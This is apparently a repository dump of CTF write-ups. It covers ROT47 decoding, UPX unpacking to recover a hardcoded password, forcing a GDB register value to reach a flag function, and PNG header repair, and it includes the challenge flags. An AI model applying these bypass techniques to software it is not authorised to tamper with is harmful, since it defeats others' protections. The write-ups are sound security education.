![Goose_Script_Result](screenshots/Goose_Script_Result.png) 95 | 96 | The flag is CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r3} 97 | 98 | 99 | 100 | 101 | 102 | -------------------------------------------------------------------------------- /web_challs/HTB_Apocalypse_2021/Wild_Goose_Hunt/screenshots/Goose_Initial_Payload.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/web_challs/HTB_Apocalypse_2021/Wild_Goose_Hunt/screenshots/Goose_Initial_Payload.png -------------------------------------------------------------------------------- /web_challs/HTB_Apocalypse_2021/Wild_Goose_Hunt/screenshots/Goose_Initial_Result.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/web_challs/HTB_Apocalypse_2021/Wild_Goose_Hunt/screenshots/Goose_Initial_Result.png -------------------------------------------------------------------------------- /web_challs/HTB_Apocalypse_2021/Wild_Goose_Hunt/screenshots/Goose_Regex_Test.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/web_challs/HTB_Apocalypse_2021/Wild_Goose_Hunt/screenshots/Goose_Regex_Test.png -------------------------------------------------------------------------------- /web_challs/HTB_Apocalypse_2021/Wild_Goose_Hunt/screenshots/Goose_Script_Result.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/web_challs/HTB_Apocalypse_2021/Wild_Goose_Hunt/screenshots/Goose_Script_Result.png -------------------------------------------------------------------------------- /web_challs/HTB_Apocalypse_2021/Wild_Goose_Hunt/screenshots/Wild_Goose_Initial_Login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/web_challs/HTB_Apocalypse_2021/Wild_Goose_Hunt/screenshots/Wild_Goose_Initial_Login.png -------------------------------------------------------------------------------- /wicked6_winjaCTF_2022/DecEivE/ReadMe.md: -------------------------------------------------------------------------------- 1 | # DecEivE 2 | 3 | The description provided for this challenge was simply an image: 4 | ![image](https://user-images.githubusercontent.com/10614967/160674575-aa84b54b-199b-43e9-bf7e-8f862d083bb0.png) 5 | 6 | This was a relatively easy cryptography challenge that was worth 138 points. It can be solved entirely using the CyberChef tool. 7 | 8 | ## Solving the Challenge: 9 | 10 | When we open up deceive.png, it appears to be a qr code. There are a lot of ways in which you could decode the contents, but one good option is CyberChef: 11 | 12 | ![image](https://user-images.githubusercontent.com/10614967/160677796-b88372cb-b8db-4ee3-8dca-4f58a57d0412.png) 13 | 14 | So, at this point, we have the string "7=28L`0"#0r_560:D0v6}6#oE650U0#_E0cf0:D0FS65N". At this point, going from here to the flag may potentially require some trial-and-error. However, in general, when presented with some sort of enciphered string with no key or context, it is a great idea to throw it into CyberChef and try rotation variations of ROT13 and ROT47 (ROT13 will only rotate letters, while ROT47 will rotate all characters). In this case, the number 47 in the challenge description is also providing a nudge toward ROT47, and when we use that on our output, we get the flag. 15 | 16 | ![image](https://user-images.githubusercontent.com/10614967/160679045-26061b2b-4748-4f12-a738-cd125b1c435b.png) 17 | 18 | Thanks for reading! 19 | -------------------------------------------------------------------------------- /wicked6_winjaCTF_2022/DecEivE/deceive.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/wicked6_winjaCTF_2022/DecEivE/deceive.png -------------------------------------------------------------------------------- /wicked6_winjaCTF_2022/Easy-Rev/easy-rev.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/wicked6_winjaCTF_2022/Easy-Rev/easy-rev.out -------------------------------------------------------------------------------- /wicked6_winjaCTF_2022/Packed Locker/ReadMe.md: -------------------------------------------------------------------------------- 1 | # Packed Locker 2 | 3 | The description for this challenge is as follows: 4 | 5 | *You are given a 64 bit linux executable with some defense mechanisms which will make reverse engineering difficult. Find the password!* 6 | 7 | This was the hardest reverse-engineering challenge in the CTF, and worth 500 points. It was still fairly straightforward challenge, albeit one that requires knowledge about upx packing and basic reverse-engineering skills in the absence of debug symbols. 8 | 9 | ## Figuring Out UPX: 10 | 11 | If I run the binary, I seem to have a fairly normal linux binary that asks for a password. Presumably, the play here is to figure out what that password is and enter it. 12 | ``` 13 | knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/wicked6_22$ ./packed_locker 14 | Enter the password 15 | aaaaaaaaaaaaa 16 | The password is incorrect 17 | ``` 18 | When I didn't get far with ltrace or strace, I moved on to Ghidra. However, the program didn't decompile very well: 19 | ``` 20 | void entry(long param_1,long param_2,undefined8 param_3,undefined8 param_4,undefined8 param_5, 21 | undefined8 param_6) 22 | 23 | { 24 | undefined extraout_DL; 25 | undefined7 extraout_var; 26 | 27 | FUN_0044e086(); 28 | FUN_0044de1a(CONCAT71(extraout_var,extraout_DL),param_1,extraout_DL,0,param_5,param_6, 29 | param_2 + param_1,CONCAT71(extraout_var,extraout_DL),param_4); 30 | return; 31 | } 32 | ``` 33 | Now, the word "packed" in the challenge title was already quite suspicious, so I decided to check if the binary was packed with UPX, which is a common technique used by real malware to make reverse engineering more difficult. One of the more straightforward ways in which to check this is by using strings: 34 | ``` 35 | knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/wicked6_22$ strings -n10 packed_locker | grep UPX 36 | $Info: This file is packed with the UPX executable packer http://upx.sf.net $ 37 | $Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $ 38 | ``` 39 | It definitely looks like UPX was used here! Unpacking a UPX packed binary is easy; you will need to install the upx program, then run: 40 | ``` 41 | knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/wicked6_22$ upx -d packed_locker 42 | Ultimate Packer for eXecutables 43 | Copyright (C) 1996 - 2018 44 | UPX 3.95 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 26th 2018 45 | 46 | File size Ratio Format Name 47 | -------------------- ------ ----------- ----------- 48 | 834064 <- 322080 38.62% linux/amd64 packed_locker 49 | 50 | Unpacked 1 file. 51 | ``` 52 | Great! We now have an unpacked binary. 53 | 54 | ## Deriving the Password: 55 | 56 | The unpacked binary is a statically compiled, stripped binary. This means that none of the functions, including libc functions, are named, which will complicate the process of reverse engineering the program. However, it is still possible, especially since this is a fairly small, simple binary. The program does still have an entry() function, which, when comparing it with a binary with debug symbols, FUN_00401cad should be the main() function. 57 | ``` 58 | void entry(undefined8 param_1,undefined8 param_2,undefined8 param_3) 59 | 60 | { 61 | undefined8 in_stack_00000000; 62 | undefined auStack8 [8]; 63 | 64 | FUN_00402190(FUN_00401cad,in_stack_00000000,&stack0x00000008,FUN_00402b60,FUN_00402bf0,param_3, 65 | auStack8); 66 | do { 67 | /* WARNING: Do nothing block with infinite loop */ 68 | } while( true ); 69 | } 70 | ``` 71 | In our main function, we can see that a string is getting loaded into a stack variable, local_48. If we go ahead and decode it, we get a string of sUp3r_stRong_password123!#, which seems like it may be the password. 72 | ``` 73 | void main(void) 74 | 75 | { 76 | undefined8 local_48; 77 | undefined8 local_40; 78 | undefined8 local_38; 79 | undefined2 local_30; 80 | undefined local_2e; 81 | undefined8 local_28; 82 | undefined8 local_20; 83 | undefined8 local_18; 84 | undefined local_10; 85 | int local_c; 86 | 87 | local_28 = 0; 88 | local_20 = 0; 89 | local_18 = 0; 90 | local_10 = 0; 91 | local_48 = 0x74735f7233705573; 92 | local_40 = 0x7361705f676e6f52; 93 | local_38 = 0x33323164726f7773; 94 | local_30 = 0x2321; 95 | local_2e = 0; 96 | FUN_004178a0("Enter the password"); 97 | FUN_00408e80(&DAT_0049e01b,&local_28); 98 | local_c = thunk_FUN_004010de(&local_28,&local_48); 99 | if (local_c == 0) { 100 | FUN_00408cf0("Congrats, the flag is flag{%s}",&local_28); 101 | } 102 | else { 103 | FUN_004178a0("The password is incorrect"); 104 | } 105 | return; 106 | } 107 | ``` 108 | When we input this as the password, we get the flag! 109 | ``` 110 | knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/wicked6_22$ ./packed_locker 111 | Enter the password 112 | sUp3r_stRong_password123!# 113 | Congrats, the flag is flag{sUp3r_stRong_password123!#} 114 | ``` 115 | Thanks for reading! 116 | -------------------------------------------------------------------------------- /wicked6_winjaCTF_2022/Packed Locker/packed_locker: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/wicked6_winjaCTF_2022/Packed Locker/packed_locker -------------------------------------------------------------------------------- /wicked6_winjaCTF_2022/ReadMe.md: -------------------------------------------------------------------------------- 1 | This is a set of writeups based on the challenges in winja CTF, from Wicked6 2022. The competition was a lot of fun, and I wanted to provide writeups of the challenges that I was able to solve. These challenges are all pretty beginner-friendly, span a variety of categories, and I have provided the challenge files if you would like to play along at home! 2 | -------------------------------------------------------------------------------- /wicked6_winjaCTF_2022/Unreachable/ReadMe.md: -------------------------------------------------------------------------------- 1 | # Unreachable 2 | 3 | The description of this challenge is as follows: 4 | 5 | *"You have to go through rough patches to achieve great things."* 6 | 7 | This challenge was categorized as binary exploitation, although it was more of a challenge in using a debugger or patching a binary. It was worth 350 points, and it was relativel straightforward to solve. 8 | 9 | ## Solving the Challenge: 10 | 11 | If I try to actually run the challenge, I can see that it requires me to input my password as a command line parameter, and if I input an incorrect password, I get an "Incorrect password" message. 12 | ``` 13 | knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/wicked6_22$ ./unreachable.out aaaaaaaaaaaa 14 | ============================================== 15 | | Crack Me | 16 | ============================================== 17 | Incorrect Password 18 | ``` 19 | I can then try opening the program up in Ghidra. 20 | ``` 21 | undefined8 main(int param_1,undefined8 *param_2) 22 | 23 | { 24 | size_t sVar1; 25 | 26 | puts( 27 | " ==============================================\n| Crack Me |\n ==============================================" 28 | ); 29 | if (param_1 == 1) { 30 | printf("Usage %s \n",*param_2); 31 | /* WARNING: Subroutine does not return */ 32 | exit(0); 33 | } 34 | sVar1 = strlen((char *)param_2[1]); 35 | if (sVar1 != 7) { 36 | puts("Incorrect Password"); 37 | /* WARNING: Subroutine does not return */ 38 | exit(0); 39 | } 40 | sVar1 = strlen((char *)param_2[1]); 41 | if (sVar1 == 5) { 42 | giveflag(); 43 | } 44 | return 0; 45 | } 46 | ``` 47 | Interesting! So, it looks like the program is designed so that the giveflag() function cannot be hit during normal operations, since the length of the password we submit would simultaneously have to 7 characters and 5 characters long to pass both of the checks. Now, normally in a binary exploitation challenge, you would also be given a netcat connection and required to come up with an input combination that would execute the giveflag() function, pop a shell, or otherwise meet a win condition without editing anything mid-run using a debugger. However, based on the way in which this challenge is designed, I don't think that's possible; ideally, I'd like to overflow the return pointer with the address of giveflag(), but the 7 character string length check will trigger an exit, and I can't use nulls in command line arguments. 48 | 49 | Instead, the simplest approach is to use a debugger to edit variables during program execution. You could also patch the program in Ghidra, but I think the debugger approach is simpler. In GDB/GEF, we can look at the main function in assembly to look for an appropriate break point. At main+135, we see the call to strlen like in the Ghidra decompilation, and the results (stored in rax, as is typically the case in x86-64) are then compared with 5. So, in order to win, break of main+140, edit rax to 5, and continue. This should give us the flag. 50 | ``` 51 | gef➤ disas main 52 | Dump of assembler code for function main: 53 | 0x0000000000001299 <+0>: endbr64 54 | 0x000000000000129d <+4>: push rbp 55 | ... 56 | 0x0000000000001320 <+135>: call 0x10c0 57 | 0x0000000000001325 <+140>: cmp rax,0x5 58 | 0x0000000000001329 <+144>: jne 0x1335 59 | 0x000000000000132b <+146>: mov eax,0x0 60 | 0x0000000000001330 <+151>: call 0x11e9 61 | 0x0000000000001335 <+156>: mov eax,0x0 62 | 0x000000000000133a <+161>: leave 63 | 0x000000000000133b <+162>: ret 64 | ``` 65 | So, in order to win, we can use a 7-letter password to meet the first check, break on main+140, edit rax to 5, and continue. This should give us the flag. 66 | 67 | ``` 68 | gef➤ b *main+140 69 | Breakpoint 1 at 0x1325 70 | gef➤ r aaaaaaa 71 | ... 72 | → 0x555555555325 cmp rax, 0x5 73 | 0x555555555329 jne 0x555555555335 74 | 0x55555555532b mov eax, 0x0 75 | 0x555555555330 call 0x5555555551e9 76 | 0x555555555335 mov eax, 0x0 77 | 0x55555555533a leave 78 | ───────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── 79 | [#0] Id 1, Name: "unreachable.out", stopped 0x555555555325 in main (), reason: BREAKPOINT 80 | ─────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── 81 | [#0] 0x555555555325 → main() 82 | ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 83 | gef➤ x/gx $rax 84 | 0x7: Cannot access memory at address 0x7 85 | gef➤ set $rax=5 86 | gef➤ x/gx $rax 87 | 0x5: Cannot access memory at address 0x5 88 | gef➤ c 89 | Continuing. 90 | flag{0h_s0_y0u_kN0w_P4tch1ng}[Inferior 1 (process 377) exited normally] 91 | ``` 92 | Thanks for reading! 93 | -------------------------------------------------------------------------------- /wicked6_winjaCTF_2022/Unreachable/unreachable.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/wicked6_winjaCTF_2022/Unreachable/unreachable.out -------------------------------------------------------------------------------- /wicked6_winjaCTF_2022/Who Am I?/ReadMe.md: -------------------------------------------------------------------------------- 1 | # Who Am I? 2 | 3 | The description for this challenge is simply an image: 4 | 5 | ![image](https://user-images.githubusercontent.com/10614967/160679315-c6e744c1-3c11-42b1-8408-79f2081a8293.png) 6 | 7 | This was a fairly simple steganography challenge worth 146 points. It requires an understand of magic bytes in files. 8 | 9 | ## Solving the Challenge: 10 | 11 | The only deliverable for this challenge is a file that Linux's file command identifies simply as "data" 12 | ``` 13 | knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/wicked6_22$ file whoami 14 | whoami: data 15 | ``` 16 | So, without much to go on, it makes sense to have a quick look at the file in a hex editor. I'm a big fan of HxD on Windows; Bless is also available for Linux. When I look at the file, I immediately notice strings like "sRGB", "gAMA", "IDAT", and more. These are common features of the header structure of a .png file. 17 | 18 | ![image](https://user-images.githubusercontent.com/10614967/160746493-1b40c420-1f69-4e48-b246-49e612f1840d.png) 19 | 20 | This indicates that the steganography in this case probably involves fixing corrupted magic bytes in the file header. Here is a page that provides a good overview of magic bytes in the header and trailer of various file types: 21 | https://www.garykessler.net/library/file_sigs.html 22 | 23 | So, my first step is to fix the png header to make it match that on Gary Kessler's webpage, which, in hex, is "89 50 4E 47 0D 0A 1A 0A". 24 | 25 | ![image](https://user-images.githubusercontent.com/10614967/160747164-fb9a3428-9ab6-48cf-adb0-71d6ef64a366.png) 26 | 27 | And it still doesn't open! To try to diagnose what was wrong, I decided to open a random sample .png file that wasn't broken and compare the hex. One thing that immediately caught my eye was the string "IHDR" where "FHES" is in the whoami file. 28 | 29 | ![image](https://user-images.githubusercontent.com/10614967/160747458-8c48ae96-5316-4668-9fc4-5108b2e9aba9.png) 30 | 31 | So, I fixed that section in the hex editor as well: 32 | 33 | ![image](https://user-images.githubusercontent.com/10614967/160747641-a2c39fed-7d11-4334-ba35-5de95fe61733.png) 34 | 35 | This time the file opens and I can see the flag! 36 | 37 | ![image](https://user-images.githubusercontent.com/10614967/160747740-2f3232ff-46d6-4767-9746-ec94b4e229ca.png) 38 | 39 | 40 | Thanks for reading! 41 | -------------------------------------------------------------------------------- /wicked6_winjaCTF_2022/Who Am I?/whoami: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/wicked6_winjaCTF_2022/Who Am I?/whoami -------------------------------------------------------------------------------- /wicked6_winjaCTF_2022/d3bug-th1s/space: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/wicked6_winjaCTF_2022/d3bug-th1s/space --------------------------------------------------------------------------------